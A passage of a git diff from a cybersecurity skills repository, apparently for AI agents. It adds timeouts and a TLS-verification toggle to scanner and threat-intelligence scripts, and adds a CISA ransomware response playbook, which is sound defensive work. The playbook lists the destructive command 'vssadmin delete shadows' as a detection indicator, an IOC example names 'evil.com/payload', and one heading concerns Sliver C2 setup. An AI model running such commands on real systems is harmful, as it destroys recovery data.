-from google.iam.v1 import iam_policy_pb2 def search_iam_policies(scope, query=""): diff --git a/skills/building-cloud-security-posture-management/LICENSE b/skills/auditing-kubernetes-rbac-permissions.bak/LICENSE similarity index 100% rename from skills/building-cloud-security-posture-management/LICENSE rename to skills/auditing-kubernetes-rbac-permissions.bak/LICENSE diff --git a/skills/auditing-kubernetes-rbac-permissions/SKILL.md b/skills/auditing-kubernetes-rbac-permissions.bak/SKILL.md similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/SKILL.md rename to skills/auditing-kubernetes-rbac-permissions.bak/SKILL.md diff --git a/skills/auditing-kubernetes-rbac-permissions/assets/template.md b/skills/auditing-kubernetes-rbac-permissions.bak/assets/template.md similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/assets/template.md rename to skills/auditing-kubernetes-rbac-permissions.bak/assets/template.md diff --git a/skills/auditing-kubernetes-rbac-permissions/references/api-reference.md b/skills/auditing-kubernetes-rbac-permissions.bak/references/api-reference.md similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/references/api-reference.md rename to skills/auditing-kubernetes-rbac-permissions.bak/references/api-reference.md diff --git a/skills/auditing-kubernetes-rbac-permissions/references/standards.md b/skills/auditing-kubernetes-rbac-permissions.bak/references/standards.md similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/references/standards.md rename to skills/auditing-kubernetes-rbac-permissions.bak/references/standards.md diff --git a/skills/auditing-kubernetes-rbac-permissions/references/workflows.md b/skills/auditing-kubernetes-rbac-permissions.bak/references/workflows.md similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/references/workflows.md rename to skills/auditing-kubernetes-rbac-permissions.bak/references/workflows.md diff --git a/skills/auditing-kubernetes-rbac-permissions/scripts/agent.py b/skills/auditing-kubernetes-rbac-permissions.bak/scripts/agent.py similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/scripts/agent.py rename to skills/auditing-kubernetes-rbac-permissions.bak/scripts/agent.py diff --git a/skills/auditing-kubernetes-rbac-permissions/scripts/process.py b/skills/auditing-kubernetes-rbac-permissions.bak/scripts/process.py similarity index 100% rename from skills/auditing-kubernetes-rbac-permissions/scripts/process.py rename to skills/auditing-kubernetes-rbac-permissions.bak/scripts/process.py diff --git a/skills/auditing-terraform-infrastructure-for-security/scripts/agent.py b/skills/auditing-terraform-infrastructure-for-security/scripts/agent.py index cc452c46..e2fcfe41 100644 --- a/skills/auditing-terraform-infrastructure-for-security/scripts/agent.py +++ b/skills/auditing-terraform-infrastructure-for-security/scripts/agent.py @@ -1,18 +1,16 @@ #!/usr/bin/env python3 """Agent for auditing Terraform infrastructure for security misconfigurations.""" -import os import json import argparse import subprocess from datetime import datetime -from pathlib import Path def run_checkov(terraform_dir, output_format="json"): """Run Checkov static analysis on Terraform code.""" cmd = ["checkov", "-d", terraform_dir, "--framework", "terraform", "--output", output_format, "--compact"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if output_format == "json": try: return json.loads(result.stdout) @@ -24,7 +22,7 @@ def run_checkov(terraform_dir, output_format="json"): def run_checkov_on_plan(plan_json_path): """Run Checkov on a Terraform plan JSON file for accurate analysis.""" cmd = ["checkov", "-f", plan_json_path, "--framework", "terraform_plan", "--output", "json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) try: return json.loads(result.stdout) except json.JSONDecodeError: @@ -34,7 +32,7 @@ def run_checkov_on_plan(plan_json_path): def run_tfsec(terraform_dir, min_severity="HIGH"): """Run tfsec Terraform security scanner.""" cmd = ["tfsec", terraform_dir, "--format", "json", "--minimum-severity", min_severity] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) try: return json.loads(result.stdout) except json.JSONDecodeError: diff --git a/skills/automating-ioc-enrichment/scripts/agent.py b/skills/automating-ioc-enrichment/scripts/agent.py index 71186922..c09f669d 100644 --- a/skills/automating-ioc-enrichment/scripts/agent.py +++ b/skills/automating-ioc-enrichment/scripts/agent.py @@ -47,6 +47,7 @@ def enrich_ip_virustotal(ip, api_key): resp = requests.get( f"https://www.virustotal.com/api/v3/ip_addresses/{ip}", headers={"x-apikey": api_key}, + timeout=30, ) if resp.status_code == 200: attrs = resp.json()["data"]["attributes"] @@ -66,6 +67,7 @@ def enrich_hash_virustotal(file_hash, api_key): resp = requests.get( f"https://www.virustotal.com/api/v3/files/{file_hash}", headers={"x-apikey": api_key}, + timeout=30, ) if resp.status_code == 200: attrs = resp.json()["data"]["attributes"] @@ -85,6 +87,7 @@ def enrich_domain_virustotal(domain, api_key): resp = requests.get( f"https://www.virustotal.com/api/v3/domains/{domain}", headers={"x-apikey": api_key}, + timeout=30, ) if resp.status_code == 200: attrs = resp.json()["data"]["attributes"] @@ -103,6 +106,7 @@ def enrich_ip_abuseipdb(ip, api_key): "https://api.abuseipdb.com/api/v2/check", headers={"Key": api_key, "Accept": "application/json"}, params={"ipAddress": ip, "maxAgeInDays": 90}, + timeout=30, ) if resp.status_code == 200: data = resp.json()["data"] diff --git a/skills/building-adversary-infrastructure-tracking-system/SKILL.md b/skills/building-adversary-infrastructure-tracking-system/SKILL.md index 6565d080..c2859339 100644 --- a/skills/building-adversary-infrastructure-tracking-system/SKILL.md +++ b/skills/building-adversary-infrastructure-tracking-system/SKILL.md @@ -36,7 +36,7 @@ Pivoting identifies related infrastructure by following connections: IP pivot (f Threat actors exhibit patterns: preferred registrars (Namecheap, REG.RU, Tucows), preferred hosting (bulletproof hosting providers, cloud services), domain generation algorithms (DGA), consistent naming patterns, and certificate reuse across campaigns. -## Practical Steps +## Workflow ### Step 1: Passive DNS Infrastructure Discovery diff --git a/skills/building-attack-pattern-library-from-cti-reports/SKILL.md b/skills/building-attack-pattern-library-from-cti-reports/SKILL.md index 67917f15..11e7b6df 100644 --- a/skills/building-attack-pattern-library-from-cti-reports/SKILL.md +++ b/skills/building-attack-pattern-library-from-cti-reports/SKILL.md @@ -36,7 +36,7 @@ STIX defines Attack Pattern as a Structured Domain Object (SDO) that describes w Extracted attack patterns inform detection engineering by providing: specific procedure examples for Sigma rule creation, behavioral sequences for correlation rules, IOC patterns for YARA and Snort rules, and data source requirements for telemetry gaps. -## Practical Steps +## Workflow ### Step 1: Parse CTI Reports and Extract Behaviors diff --git a/skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py b/skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py index 3884a991..44ff7c9e 100644 --- a/skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py +++ b/skills/building-attack-pattern-library-from-cti-reports/scripts/agent.py @@ -8,7 +8,6 @@ import argparse from datetime import datetime from collections import Counter, defaultdict -import requests logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) diff --git a/skills/building-automated-malware-submission-pipeline/SKILL.md b/skills/building-automated-malware-submission-pipeline/SKILL.md index 78fdad84..6086263e 100644 --- a/skills/building-automated-malware-submission-pipeline/SKILL.md +++ b/skills/building-automated-malware-submission-pipeline/SKILL.md @@ -370,7 +370,7 @@ def push_to_splunk(verdict_result, splunk_url, splunk_token): "Content-Type": "application/json" }, json=event, - verify=False + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) return response.status_code == 200 diff --git a/skills/building-automated-malware-submission-pipeline/scripts/agent.py b/skills/building-automated-malware-submission-pipeline/scripts/agent.py index 15e5a863..0b892815 100644 --- a/skills/building-automated-malware-submission-pipeline/scripts/agent.py +++ b/skills/building-automated-malware-submission-pipeline/scripts/agent.py @@ -29,6 +29,7 @@ def check_virustotal(sha256, api_key): resp = requests.get( f"https://www.virustotal.com/api/v3/files/{sha256}", headers={"x-apikey": api_key}, + timeout=30, ) if resp.status_code == 200: attrs = resp.json()["data"]["attributes"] @@ -50,6 +51,7 @@ def check_malwarebazaar(sha256): resp = requests.post( "https://mb-api.abuse.ch/api/v1/", data={"query": "get_info", "hash": sha256}, + timeout=30, ) if resp.status_code == 200: data = resp.json() @@ -82,11 +84,11 @@ def wait_for_cuckoo_report(task_id, cuckoo_url, poll_interval=30, max_wait=600): """Poll Cuckoo until analysis is complete, then return the report.""" elapsed = 0 while elapsed < max_wait: - resp = requests.get(f"{cuckoo_url}/tasks/view/{task_id}") + resp = requests.get(f"{cuckoo_url}/tasks/view/{task_id}", timeout=30) if resp.status_code == 200: status = resp.json().get("task", {}).get("status") if status == "reported": - report_resp = requests.get(f"{cuckoo_url}/tasks/report/{task_id}") + report_resp = requests.get(f"{cuckoo_url}/tasks/report/{task_id}", timeout=30) return report_resp.json() if report_resp.status_code == 200 else None if status == "failed_analysis": return None @@ -136,7 +138,8 @@ def push_to_splunk_hec(event_data, splunk_url, splunk_token): f"{splunk_url}/services/collector/event", headers={"Authorization": f"Splunk {splunk_token}"}, json=payload, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + timeout=30, ) return resp.status_code == 200 diff --git a/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md b/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md index 5c91ff69..f01fc905 100644 --- a/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md +++ b/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md @@ -34,7 +34,7 @@ Sliver is an open-source, cross-platform adversary emulation framework developed - **T1132.001** - Data Encoding: Standard Encoding - **T1572** - Protocol Tunneling -## Implementation Steps +## Workflow ### Phase 1: Team Server Deployment 1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server diff --git a/skills/conducting-cloud-infrastructure-penetration-test/LICENSE b/skills/building-cloud-security-posture-management.bak/LICENSE similarity index 100% rename from skills/conducting-cloud-infrastructure-penetration-test/LICENSE rename to skills/building-cloud-security-posture-management.bak/LICENSE diff --git a/skills/building-cloud-security-posture-management/SKILL.md b/skills/building-cloud-security-posture-management.bak/SKILL.md similarity index 100% rename from skills/building-cloud-security-posture-management/SKILL.md rename to skills/building-cloud-security-posture-management.bak/SKILL.md diff --git a/skills/building-cloud-security-posture-management/references/api-reference.md b/skills/building-cloud-security-posture-management.bak/references/api-reference.md similarity index 100% rename from skills/building-cloud-security-posture-management/references/api-reference.md rename to skills/building-cloud-security-posture-management.bak/references/api-reference.md diff --git a/skills/building-cloud-security-posture-management/scripts/agent.py b/skills/building-cloud-security-posture-management.bak/scripts/agent.py similarity index 100% rename from skills/building-cloud-security-posture-management/scripts/agent.py rename to skills/building-cloud-security-posture-management.bak/scripts/agent.py diff --git a/skills/building-detection-rule-with-splunk-spl/scripts/agent.py b/skills/building-detection-rule-with-splunk-spl/scripts/agent.py index 620eeeb9..5f412abb 100644 --- a/skills/building-detection-rule-with-splunk-spl/scripts/agent.py +++ b/skills/building-detection-rule-with-splunk-spl/scripts/agent.py @@ -3,6 +3,7 @@ import json import logging +import os import argparse from datetime import datetime @@ -92,7 +93,7 @@ def deploy_saved_search(splunk_url, token, rule_name, spl, severity="high"): "actions": "email", } try: - resp = requests.post(f"{splunk_url}/servicesNS/admin/search/saved/searches", headers=headers, data=data, verify=False, timeout=30) + resp = requests.post(f"{splunk_url}/servicesNS/admin/search/saved/searches", headers=headers, data=data, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments return {"status": resp.status_code, "deployed": resp.status_code in (200, 201)} except requests.RequestException as e: return {"error": str(e)} diff --git a/skills/building-detection-rules-with-sigma/scripts/agent.py b/skills/building-detection-rules-with-sigma/scripts/agent.py index 8f31cd55..6a40be25 100644 --- a/skills/building-detection-rules-with-sigma/scripts/agent.py +++ b/skills/building-detection-rules-with-sigma/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for building and converting Sigma detection rules.""" -import os import json import argparse from datetime import datetime @@ -10,7 +9,6 @@ from pathlib import Path from sigma.rule import SigmaRule from sigma.backends.splunk import SplunkBackend from sigma.pipelines.splunk import splunk_windows_pipeline -from sigma.collection import SigmaCollection def load_sigma_rule(rule_path): diff --git a/skills/building-identity-federation-with-saml-azure-ad/SKILL.md b/skills/building-identity-federation-with-saml-azure-ad/SKILL.md index 913db274..3e47a21a 100644 --- a/skills/building-identity-federation-with-saml-azure-ad/SKILL.md +++ b/skills/building-identity-federation-with-saml-azure-ad/SKILL.md @@ -69,7 +69,7 @@ User → Cloud App (SP) | Claims Rules | Transform AD attributes into SAML claims | | Issuer URI | Unique identifier for the IdP (entity ID) | -## Implementation Steps +## Workflow ### Step 1: Prepare AD FS Infrastructure diff --git a/skills/building-identity-governance-lifecycle-process/scripts/agent.py b/skills/building-identity-governance-lifecycle-process/scripts/agent.py index 9c51592c..4fa89e3b 100644 --- a/skills/building-identity-governance-lifecycle-process/scripts/agent.py +++ b/skills/building-identity-governance-lifecycle-process/scripts/agent.py @@ -17,7 +17,7 @@ def get_graph_token(tenant_id, client_id, client_secret): "client_id": client_id, "client_secret": client_secret, "scope": "https://graph.microsoft.com/.default", - }) + }, timeout=30) resp.raise_for_status() return resp.json()["access_token"] @@ -33,7 +33,7 @@ def list_users(token, filter_query=None): params["$filter"] = filter_query users = [] while url: - resp = requests.get(url, headers=headers, params=params) + resp = requests.get(url, headers=headers, params=params, timeout=30) resp.raise_for_status() data = resp.json() users.extend(data.get("value", [])) @@ -93,7 +93,7 @@ def get_access_reviews(token): """List active access reviews from Entra ID Governance.""" headers = {"Authorization": f"Bearer {token}"} url = "https://graph.microsoft.com/v1.0/identityGovernance/accessReviews/definitions" - resp = requests.get(url, headers=headers) + resp = requests.get(url, headers=headers, timeout=30) resp.raise_for_status() reviews = [] for r in resp.json().get("value", []): @@ -110,7 +110,7 @@ def check_users_without_mfa(token): """Identify users without registered MFA methods.""" headers = {"Authorization": f"Bearer {token}"} url = "https://graph.microsoft.com/v1.0/reports/authenticationMethods/userRegistrationDetails" - resp = requests.get(url, headers=headers, params={"$top": "999"}) + resp = requests.get(url, headers=headers, params={"$top": "999"}, timeout=30) resp.raise_for_status() no_mfa = [] for u in resp.json().get("value", []): diff --git a/skills/building-incident-response-playbook/scripts/agent.py b/skills/building-incident-response-playbook/scripts/agent.py index 32678b32..740e8646 100644 --- a/skills/building-incident-response-playbook/scripts/agent.py +++ b/skills/building-incident-response-playbook/scripts/agent.py @@ -149,7 +149,7 @@ def check_thehive_cases(thehive_url, api_key): {"_name": "sort", "_fields": [{"startDate": "desc"}]}, {"_name": "page", "from": 0, "to": 50}, ] - }) + }, timeout=30) resp.raise_for_status() cases = [] for c in resp.json(): @@ -173,7 +173,7 @@ def calculate_ir_metrics(thehive_url, api_key, days=30): {"_name": "filter", "_field": "status", "_value": "Resolved"}, {"_name": "page", "from": 0, "to": 500}, ] - }) + }, timeout=30) resp.raise_for_status() cases = resp.json() total_resolve_ms = 0 diff --git a/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md b/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md index 0ae7fa7a..5df20964 100644 --- a/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md +++ b/skills/building-ioc-defanging-and-sharing-pipeline/SKILL.md @@ -36,7 +36,7 @@ Raw IOCs from different sources come in inconsistent formats. Normalization invo STIX patterns express IOCs in a standardized format: `[ipv4-addr:value = '203.0.113.1']`, `[domain-name:value = 'malicious.example.com']`, `[url:value = 'http://evil.com/payload']`, `[file:hashes.'SHA-256' = 'abc123...']`. Each indicator includes valid_from, indicator_types, confidence, and optional TLP markings. -## Practical Steps +## Workflow ### Step 1: Build IOC Extraction and Normalization @@ -301,7 +301,7 @@ class IOCDistributor: f"{misp_url}/events", headers=headers, json=event, - verify=False, + verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments ) if resp.status_code == 200: event_id = resp.json().get("Event", {}).get("id", "") diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md b/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md index 0c978c0a..ef9b4402 100644 --- a/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/SKILL.md @@ -37,7 +37,7 @@ Internal enrichment connectors are triggered automatically when new observables OpenCTI uses a 0-100 confidence scale for indicators. Enrichment connectors can update confidence scores based on external validation: VirusTotal detection ratios, Shodan exposure data, AbuseIPDB report counts, and GreyNoise classification results. -## Practical Steps +## Workflow ### Step 1: Deploy OpenCTI with Docker Compose diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py b/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py index 8e7a7d65..d612189f 100644 --- a/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py @@ -56,7 +56,7 @@ def enrich_indicator(client, indicator_value): "created_by": ind.get("createdBy", {}).get("name", "Unknown") if ind.get("createdBy") else "Unknown", "labels": [l.get("value") for l in ind.get("objectLabel", [])], "kill_chain_phases": [ - f"{k.get("kill_chain_name")}:{k.get("phase_name")}" + f"{k.get('kill_chain_name')}:{k.get('phase_name')}" for k in ind.get("killChainPhases", []) ], } @@ -157,16 +157,14 @@ if __name__ == "__main__": client = init_client() if HAS_PYCTI else None if not client: - print(" -[DEMO] No OpenCTI connection. Showing classification only.") + print("\n[DEMO] No OpenCTI connection. Showing classification only.") report = build_enrichment_report(client, demo_iocs) for ioc in report["iocs"]: - print(f" - IOC: {ioc["value"]} Type: {ioc["type"]}") - print(f" Indicators found: {len(ioc["indicators"])}") - print(f" Observables found: {len(ioc["observables"])}") - print(f" Relationships: {len(ioc["relationships"])}") + print(f"\n IOC: {ioc['value']} Type: {ioc['type']}") + print(f" Indicators found: {len(ioc['indicators'])}") + print(f" Observables found: {len(ioc['observables'])}") + print(f" Relationships: {len(ioc['relationships'])}") - print(f" -{json.dumps({"total_iocs": len(report["iocs"])}, indent=2)}") + summary = json.dumps({"total_iocs": len(report["iocs"])}, indent=2) + print(f"\n{summary}") diff --git a/skills/building-patch-tuesday-response-process/SKILL.md b/skills/building-patch-tuesday-response-process/SKILL.md index aa7a9f7d..a6897025 100644 --- a/skills/building-patch-tuesday-response-process/SKILL.md +++ b/skills/building-patch-tuesday-response-process/SKILL.md @@ -61,7 +61,7 @@ Microsoft releases security updates on the second Tuesday of each month ("Patch | Edge/Browser | Edge Chromium, IE mode | Medium | | Development Tools | Visual Studio, VS Code | Low | -## Implementation Steps +## Workflow ### Step 1: Pre-Patch Tuesday Preparation (Monday before) ``` diff --git a/skills/building-phishing-reporting-button-workflow/SKILL.md b/skills/building-phishing-reporting-button-workflow/SKILL.md index b8d5ea77..b43e11e5 100644 --- a/skills/building-phishing-reporting-button-workflow/SKILL.md +++ b/skills/building-phishing-reporting-button-workflow/SKILL.md @@ -20,7 +20,7 @@ A phishing reporting button empowers users to flag suspicious emails directly fr - Email security gateway with message retraction capability - Security awareness training platform for feedback loop -## Implementation Steps +## Workflow ### Step 1: Deploy Phishing Report Button - Enable Microsoft built-in Report button via Security & Compliance Center diff --git a/skills/conducting-mobile-application-penetration-test/LICENSE b/skills/building-ransomware-playbook-with-cisa-framework/LICENSE similarity index 100% rename from skills/conducting-mobile-application-penetration-test/LICENSE rename to skills/building-ransomware-playbook-with-cisa-framework/LICENSE diff --git a/skills/building-ransomware-playbook-with-cisa-framework/SKILL.md b/skills/building-ransomware-playbook-with-cisa-framework/SKILL.md new file mode 100644 index 00000000..c96f7f89 --- /dev/null +++ b/skills/building-ransomware-playbook-with-cisa-framework/SKILL.md @@ -0,0 +1,169 @@ +--- +name: building-ransomware-playbook-with-cisa-framework +description: > + Builds a structured ransomware incident response playbook aligned with the CISA + StopRansomware Guide and NIST Cybersecurity Framework. Covers preparation, detection, + containment, eradication, recovery, and post-incident phases with actionable + checklists. Activates for requests involving ransomware response planning, CISA + compliance, incident response playbook creation, or ransomware preparedness assessment. +domain: cybersecurity +subdomain: ransomware-defense +tags: [ransomware, incident-response, CISA, playbook, compliance, NIST] +version: 1.0.0 +author: mahipal +license: Apache-2.0 +--- + +# Building Ransomware Playbook with CISA Framework + +## When to Use + +- An organization needs to create or update its ransomware incident response playbook following CISA guidelines +- A security team is conducting a ransomware readiness assessment against the CISA StopRansomware framework +- Compliance requires documenting ransomware response procedures aligned with NIST CSF and CISA recommendations +- During tabletop exercises to validate that the organization's ransomware response steps match industry best practices +- After a ransomware incident to update the playbook with lessons learned and close identified gaps + +**Do not use** as a substitute for legal counsel regarding ransom payment decisions, breach notification timelines, or regulatory obligations specific to your jurisdiction. + +## Prerequisites + +- Familiarity with the CISA StopRansomware Guide (cisa.gov/stopransomware/ransomware-guide) +- NIST Cybersecurity Framework (CSF) understanding (Identify, Protect, Detect, Respond, Recover) +- Inventory of critical assets, backup infrastructure, and communication channels +- Defined roles and responsibilities for incident response team members +- Python 3.8+ for playbook generation and compliance checking automation +- Access to organization's asset inventory and backup configuration documentation + +## Workflow + +### Step 1: Preparation Phase (CISA Part 1 - Prevention) + +Establish ransomware-specific defenses before an incident: + +``` +CISA Preparation Checklist: +━━━━━━━━━━━━━━━━━━━━━━━━━━ +[ ] Maintain offline, encrypted backups tested for restoration +[ ] Create and exercise a cyber incident response plan (IRP) +[ ] Implement network segmentation between IT and OT networks +[ ] Enable MFA on all remote access and privileged accounts +[ ] Deploy endpoint detection and response (EDR) on all endpoints +[ ] Disable or restrict RDP; require VPN for remote access +[ ] Maintain a software/hardware asset inventory +[ ] Apply patches within 48 hours for internet-facing systems +[ ] Configure email filtering and disable macro execution by default +[ ] Conduct regular phishing awareness training +[ ] Implement application allowlisting (AppLocker/WDAC) +[ ] Test backup restoration quarterly and document RTO/RPO +``` + +### Step 2: Detection and Analysis Phase + +Identify ransomware indicators and assess scope: + +``` +Detection Indicators: +━━━━━━━━━━━━━━━━━━━━ +- Mass file rename operations with new extensions (.locked, .encrypted) +- Ransom notes appearing in directories (README.txt, DECRYPT.html) +- Volume Shadow Copy deletion (vssadmin delete shadows) +- Abnormal CPU usage from encryption processes +- EDR/AV alerts for known ransomware signatures +- Network connections to known C2 infrastructure +- Unusual lateral movement via SMB or PsExec +- Sysmon Event ID 11 (file creation) spikes + +Initial Analysis Steps (CISA): + 1. Take system images and memory captures of affected devices + 2. Identify patient zero and initial access vector + 3. Determine the ransomware family (ID Ransomware, ransom note analysis) + 4. Assess encryption scope: which systems, shares, and data are affected + 5. Check if data exfiltration occurred (double extortion indicator) +``` + +### Step 3: Containment Phase + +Stop the spread and preserve evidence: + +``` +Immediate Containment (First 1-4 hours): +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. Isolate affected systems from the network (disable NICs, VLAN quarantine) +2. If unable to disconnect, power down affected systems +3. Disable shared drives to prevent encryption spread +4. Reset credentials for compromised accounts (especially admin/service accounts) +5. Block known ransomware IOCs at firewall/proxy (C2 domains, IPs) +6. Preserve forensic evidence (memory dumps, disk images, logs) +7. Engage legal counsel and prepare breach notification if data exfiltrated + +Extended Containment: + - Identify and patch the initial access vector (phishing, RDP, VPN vuln) + - Audit all Active Directory accounts for persistence (scheduled tasks, services) + - Check for backdoors or additional malware beyond the ransomware payload +``` + +### Step 4: Eradication and Recovery Phase + +Remove the threat and restore operations: + +``` +CISA Recovery Steps: +━━━━━━━━━━━━━━━━━━━ +1. Rebuild affected systems from known-clean images (do NOT decrypt in place) +2. Restore data from offline backups (verify backup integrity first) +3. Reset ALL passwords including service accounts, krbtgt (twice, 12h apart) +4. Scan restored systems with updated AV/EDR before reconnecting to network +5. Re-enable services in priority order based on business criticality +6. Monitor restored systems intensively for 72 hours for reinfection + +Recovery Priority Matrix: + P1 (0-4h): Domain controllers, DNS, authentication infrastructure + P2 (4-24h): Email, critical business applications, databases + P3 (1-3d): File servers, departmental applications + P4 (3-7d): Non-critical systems, development environments +``` + +### Step 5: Post-Incident Activity + +Document lessons learned and improve defenses: + +``` +Post-Incident Report Template: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +1. Executive summary: What happened, impact, resolution +2. Timeline: Detection to full recovery with timestamps +3. Root cause analysis: Initial access vector and propagation path +4. Scope: Number of systems, data volumes, business impact in hours/dollars +5. Response effectiveness: What worked, what failed, what was missing +6. Recommendations: Specific technical and procedural improvements +7. Compliance actions: Notification timeline, regulatory obligations met +8. Updated playbook: Revisions based on lessons learned +``` + +## Verification + +- Validate playbook completeness against CISA StopRansomware checklist items +- Conduct tabletop exercise using the playbook with all stakeholders +- Verify backup restoration procedures work within documented RTO targets +- Test communication plans including out-of-band channels +- Confirm legal and regulatory notification procedures are current +- Review and update the playbook at least annually or after any incident + +## Key Concepts + +| Term | Definition | +|------|------------| +| **CISA StopRansomware Guide** | Joint CISA/MS-ISAC/NSA/FBI guide providing ransomware prevention best practices and response checklists | +| **RTO/RPO** | Recovery Time Objective (max downtime) and Recovery Point Objective (max data loss); critical metrics for backup planning | +| **Double Extortion** | Ransomware tactic where attackers both encrypt data and threaten to publish stolen data unless paid | +| **Patient Zero** | The first system compromised in an incident; identifying it reveals the initial access vector | +| **Tabletop Exercise** | Simulated incident scenario walked through by the response team to validate the playbook without live systems | + +## Tools & Systems + +- **CISA StopRansomware Guide**: Primary framework for ransomware response planning and prevention +- **NIST CSF**: Cybersecurity Framework providing the Identify/Protect/Detect/Respond/Recover structure +- **ID Ransomware**: Service for identifying ransomware families from encrypted files and ransom notes +- **MITRE ATT&CK**: Technique framework for mapping ransomware TTPs to detection opportunities +- **Velociraptor**: Endpoint visibility tool for rapid triage and forensic artifact collection during incidents diff --git a/skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md b/skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md new file mode 100644 index 00000000..65ba4d3a --- /dev/null +++ b/skills/building-ransomware-playbook-with-cisa-framework/references/api-reference.md @@ -0,0 +1,94 @@ +# API Reference: CISA Ransomware Playbook Framework + +## CISA StopRansomware Guide + +### Primary Resource +``` +URL: https://www.cisa.gov/stopransomware/ransomware-guide +PDF: https://www.cisa.gov/sites/default/files/2025-03/StopRansomware-Guide%20508.pdf +``` + +### Guide Structure +| Part | Content | Focus | +|------|---------|-------| +| Part 1 | Ransomware and Data Extortion Prevention Best Practices | Preparation | +| Part 2 | Ransomware and Data Extortion Response Checklist | Response | + +## CISA Reporting + +### Report an Incident +``` +URL: https://report.cisa.gov +``` + +### FBI Internet Crime Complaint Center +``` +URL: https://www.ic3.gov +``` + +## NIST Cybersecurity Framework Mapping + +| NIST Function | Ransomware Application | +|---------------|----------------------| +| **Identify** | Asset inventory, risk assessment, data classification | +| **Protect** | Backups, MFA, patching, email filtering, AppLocker | +| **Detect** | EDR alerts, SIEM monitoring, anomaly detection | +| **Respond** | Containment, forensics, notification, communication | +| **Recover** | Backup restoration, system rebuild, validation | + +## ID Ransomware Service + +### Identify Ransomware Family +``` +URL: https://id-ransomware.malwarehunterteam.com/ +Upload: Encrypted file sample + ransom note +``` + +### Response +Returns ransomware family name, available decryptors, and known TTPs. + +## CISA Preparation Checklist Controls + +| Control ID | Control | Priority | +|-----------|---------|----------| +| PREP-01 | Offline encrypted backups | Critical | +| PREP-02 | Incident response plan | Critical | +| PREP-03 | Network segmentation | High | +| PREP-04 | Multi-factor authentication | Critical | +| PREP-05 | Endpoint detection and response | High | +| PREP-06 | RDP restrictions | Critical | +| PREP-07 | Patch management | High | +| PREP-08 | Email security (DMARC/DKIM/SPF) | High | +| PREP-09 | Application allowlisting | Medium | +| PREP-10 | Security awareness training | Medium | + +## Response Phase Timelines (CISA Recommended) + +| Phase | Target Timeline | Key Actions | +|-------|----------------|-------------| +| Detection | 0-2 hours | Identify scope, capture evidence | +| Containment | 1-4 hours | Isolate systems, block IOCs | +| Eradication | 1-7 days | Rebuild, restore, reset credentials | +| Recovery | 1-4 weeks | Monitor, validate, document | +| Post-Incident | 30-90 days | Lessons learned, playbook updates | + +## Regulatory Notification Timelines + +| Regulation | Timeline | Authority | +|-----------|----------|-----------| +| GDPR | 72 hours | Data Protection Authority | +| HIPAA | 60 days | HHS Office for Civil Rights | +| SEC | 4 business days | Securities and Exchange Commission | +| PCI DSS | Immediately | Card brands / acquiring bank | +| State breach laws | Varies (30-90 days) | State Attorney General | + +## MITRE ATT&CK Ransomware Techniques + +| Technique ID | Name | Phase | +|-------------|------|-------| +| T1486 | Data Encrypted for Impact | Impact | +| T1490 | Inhibit System Recovery | Impact | +| T1489 | Service Stop | Impact | +| T1021.002 | SMB/Windows Admin Shares | Lateral Movement | +| T1059.001 | PowerShell | Execution | +| T1566.001 | Spearphishing Attachment | Initial Access | diff --git a/skills/building-ransomware-playbook-with-cisa-framework/scripts/agent.py b/skills/building-ransomware-playbook-with-cisa-framework/scripts/agent.py new file mode 100644 index 00000000..fa778e35 --- /dev/null +++ b/skills/building-ransomware-playbook-with-cisa-framework/scripts/agent.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python3 +"""CISA ransomware playbook builder and compliance checker agent. + +Generates a structured ransomware incident response playbook aligned with the +CISA StopRansomware Guide. Assesses organizational readiness against CISA +checklist items and produces gap analysis reports. +""" + +import json +import sys +from datetime import datetime + +CISA_PREPARATION_CHECKLIST = { + "PREP-01": { + "control": "Offline encrypted backups", + "description": "Maintain offline, encrypted backups of critical data tested quarterly", + "cisa_ref": "StopRansomware Guide Part 1, Section 1", + "priority": "Critical", + }, + "PREP-02": { + "control": "Incident response plan", + "description": "Create, 